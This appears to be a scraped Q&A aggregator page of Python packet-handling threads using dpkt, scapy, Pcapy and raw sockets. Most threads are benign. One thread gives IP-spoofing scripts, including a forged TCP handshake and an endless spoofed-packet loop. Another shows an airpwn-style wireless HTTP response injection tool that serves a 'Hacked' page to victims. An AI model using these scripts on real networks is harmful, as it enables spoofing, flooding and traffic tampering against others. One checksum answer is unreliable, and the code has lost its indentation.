python, dpkt and timestamps - python

I have a problem.
How can I get response time difference between GET and HTTP/1.0 200 OK (i mean time latency of web-server) with using of dpkt library and ts for each hostname from pcap file?
My preliminary code:
#!/usr/bin/env python
import dpkt
f = open('mycapture.cap')
pcap = dpkt.pcap.Reader(f)
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
tcp = ip.data
if tcp.dport == 80 and len(tcp.data) > 0:
http = dpkt.http.Request(tcp.data)
print ts, http.headers['host']
f.close()
But it's still output timestamps only GET requests.
It's gonna looks like:
tcpdump -i eth0 -w pcapfile; python (command).py pcapfile
google.com 0.488183
facebook.com 0.045466
quora.com 0.032777

It seems that you managed to get the first packet of request, now you need to get the first packet of the response... something like:
if tcp.sport == 80 and len(tcp.data) > 0:
# Here you can save the timestamp of the response and calculate the difference
Good luck

Related

IP Spoofing in python 3

Is it possible to send a spoofed packet with another ip source?
I've searched on the net and I found out that I need to use scapy library. I have this script that I found:
import sys
from scapy.all import *
if len(sys.argv) != 4:
print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
sys.exit(1)
target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")
seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
ack=seq+1,seq=1)
send(p2)
print ("Okay, final ACK sent. Check netstat on your target :-)")
But I don't get what does it mean "Enter the sniffed sequence number now:"
Also, is it possible to avoid using scapy, and use socket library instead? If yes, can you tell me the way?
solved on my own using scapy library:
from scapy.all import *
A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload
while True:
spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
send(spoofed_packet)

Python - Pcapy to Scapy on SPAN port, odd behaviour

I built a network sniffer in Scapy but it can't handle the rate of packets I am sniffing (it adds 15-20 minutes of latency which is just unacceptable). I have used Pcapy before in the past at this speed with success, but this time to save me having to re-write all my parsing code that uses Scapy, I want to convert a packet received by Pcapy into a Scapy IP object. The problem is when I try to do this, the IP's and protocol numbers I get are scrambled/unusable, like Scapy is reading the wrong section of the packet.
Some example code below:
#!/usr/bin/python
from pcapy import findalldevs, open_live
from impacket import ImpactDecoder, ImpactPacket
from scapy.all import *
def sniff():
interface = "eth3"
print "Listening on: %s" % interface
# Open a live capture
reader = open_live(interface, 65535, 1, 100)
# Set a filter to be notified only for TCP packets
reader.setfilter('ip proto \\tcp')
# Run the packet capture loop
reader.loop(0, callback)
def callback(hdr, data):
pkt = IP(data)
if IP in pkt:
print pkt[IP].dst
# Parse the Ethernet packet
#decoder = ImpactDecoder.EthDecoder()
#ether = decoder.decode(data)
# Parse the IP packet inside the Ethernet packet
#iphdr = ether.child()
# Parse the TCP packet inside the IP packet
#tcphdr = iphdr.child()
# Only process SYN packets
#if tcphdr.get_SYN() and not tcphdr.get_ACK():
# # Get the source and destination IP addresses
# src_ip = iphdr.get_ip_src()
# dst_ip = iphdr.get_ip_dst()
# # Print the results
# print "Connection attempt %s -> %s" % (src_ip, dst_ip)
def main():
sniff()
if __name__ == "__main__":
main()
And an example of the output:
30.184.113.84
0.120.231.205
30.184.113.91
5.64.113.97
0.120.231.206
21.248.113.98
0.120.231.207
0.120.231.208
0.120.231.209
0.120.231.210
0.120.231.211
0.48.243.73
As you can see these IP's dont make sense, where do you think I am going wrong. Eth3 is connected to a NetGear mirror port.
Thanks for your time.
Never mind, just me being an idiot, I blame bank-holiday Mondays. I was trying to detect the packet from the wrong layer. Convert raw to Ether and Scapy does the rest of the work for me.
def callback(hdr, data):
pkt = Ether(data)
if IP in pkt:
print pkt[IP].dst
else:
print list(pkt)
Cheers

Create spoofing HTTP Response in Wireless LAN with scapy

I create program like airpwn with python-scapy. Now, I can sniff it and forge the 802.11 packet, specific any required value for spoofing and send it to victim machine but it's doesn't work. I think because I'm wrong in calculating spoof ack number. Please tell me how to recalculate ack number or what I miss.
#!/usr/bin/env python
from scapy.all import *
from scapy.error import Scapy_Exception
import os
import HTTP
##### Start promicuous mode with airmon-ng start wlan0 11 (airmon-ng start/stop interface channel)
tmp=os.popen("iwconfig 2>&1 | grep ESSID | awk '{print $1}' | grep wlan | grep -v mon")
wlan=tmp.read()
wlan=wlan.rstrip('\n')
m_iface="mon0"
#spoof_response=rdpcap("response.cap")
def pktTCP(pkt):
if pkt.haslayer(TCP):
if HTTP.HTTPRequest or HTTP.HTTPResponse in pkt:
src=pkt[IP].src
srcport=pkt[IP].sport
dst=pkt[IP].dst
dstport=pkt[IP].dport
test=pkt[TCP].payload
if (HTTP.HTTPRequest in pkt):
print "HTTP Request:"
print "======================================================================"
print ("Src: ",src," Sport: ",srcport," Dst: ",dst," Dport: ",dstport," Hostname: ",test.Host)
print ("Seq: ",str(pkt[TCP].seq)," | Ack: ",str(pkt[TCP].ack))
print ("Wireless: ",wlan)
dot11_frame = RadioTap()/Dot11(
type = "Data",
FCfield = "from-DS",
addr1 = pkt[Dot11].addr2,
addr2 = pkt[Dot11].addr1,
addr3 = pkt[Dot11].addr1,
)
#### Spoof HTTP Response
day=time.strftime("%a, %d %Y %T GMT+7")
#print day
spoof_Page="<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\"><html><head><title>Hacked</title></head><body><p>Hacked By Sumedt</font></p></body></html>"
len_of_page=len(spoof_Page)
spoof_HTTP_Response_Header="HTTP/1.1 200 OK\x0d\x0aDate: "+day+"\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: "+str(len_of_page)+"\x0d\x0a\x0d\x0a"
Spoof_Payload=spoof_HTTP_Response_Header+spoof_Page
#### Crafing HTTP Response Packet
spoof_response=dot11_frame/LLC(ctrl=3)/SNAP()/IP()/TCP()/Spoof_Payload
#### Spoof IP
spoof_response.dst=pkt[IP].src
spoof_response.src=pkt[IP].dst
spoof_response.ttl=pkt[IP].ttl
#### Spoof TCP
spoof_response.sport=pkt[TCP].dport
spoof_response.dport=pkt[TCP].sport
spoof_response.window=dport=pkt[TCP].window
spoof_response.seq=pkt[TCP].ack
### Recalculate chksum and ack
spoof_response.ack=(pkt[TCP].seq + len(Spoof_Payload)) & 0xffffffff
del spoof_response.chksum
### For recalculate chksum
spoof_response = spoof_response.__class__(str(spoof_response))
print "Finish specific value"
#spoof_response.show()
sendp(spoof_response)
print "Start Sniffing"
sniff(iface=m_iface,prn=pktTCP)
If you change the content of payload, the checksums in MAC hearder and TCP header should also be changed. Otherwise the packet would be considered as a wrong packet and discarded automatically.
After delete spoof_response.chksum, i think you Re-initialize that variable.
like
spoof_response.chksum = spoof_response.__class__(str(spoof_response))

Python raw socket not receiving ICMP packets

I'm trying to use raw sockets in Python to send UDP packets to a host and then get the ICMP response back for the packet -- basically reimplementing traceroute.
I've managed to correctly construct my IP and UDP headers and send the packet. I can see it in Wireshark. I also see the ICMP response in Wireshark telling me that the TTL exceeded.
I have the following code:
me = gethostbyname(gethostname())
my_socket = socket(AF_INET, SOCK_RAW)
my_socket.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
my_socket.bind((me, 0))
hostname = 'www.google.com'
hostip = gethostbyname(hostname)
packet = create_packet(hostname)
send_socket.sendto(packet, (hostip , 0))
Then after the packet is sent I call another function to listen for incoming packets which includes this snippet:
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []:
print "timeout"
time_now = time.time()
rec_packet, addr = my_socket.recvfrom(5120)
unpacked_ip = unpack('!BBHHHBBH4s4s', rec_packet[0:20]) #0-20 is IP header
prot = unpacked_ip[6] #gives the protocol id
if prot == 1:
#this is ICMP , let's do things
I'm able to successfully unpack the IP header and check the protocol, but it is always either 6 or 17 (TCP or UDP). I never get the IP packet containing the ICMP payload even though it appears in Wireshark.
I've tried comparing the ICMP packet in Wireshark to other packets in Wireshark that my program does see and the IP headers are pretty much identical. I don't know what is wrong.
Thanks for the help
Judging from this answer, it looks like you need to pass the IPPROTO_ICMP option in when you create your socket.
You can do this like:
my_socket = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)

Python scapy: pcap file read, manipulate and write pcap

I want to read a pcap file using python scapy, manipulate the TCP payload (e.g. delete the current payload and replace it with 0s) and write the manipulated packets to a new pcap file.
Here's a solution using pypcap and dpkt. It assumes that IP is the L2 protocol.
import dpkt
from dpkt.ip import IP
from dpkt.tcp import TCP
for ts, raw_pkt in pcap.pcap(file_path):
ip = IP(raw_pkt[14:])
if(type(ip) != IP):
continue
tcp = ip.data
if(type(tcp) != TCP):
continue
do_something_with(tcp.data)
FTR, to answer the op question,
from scapy.all import *
with PcapWriter("output.pcap", sync=True) as outs:
with PcapReader("input.pcap") as ins:
for pkt in ins:
if TCP in pkt:
pkt[TCP].remove_payload()
outs.write(pkt)

Categories

Resources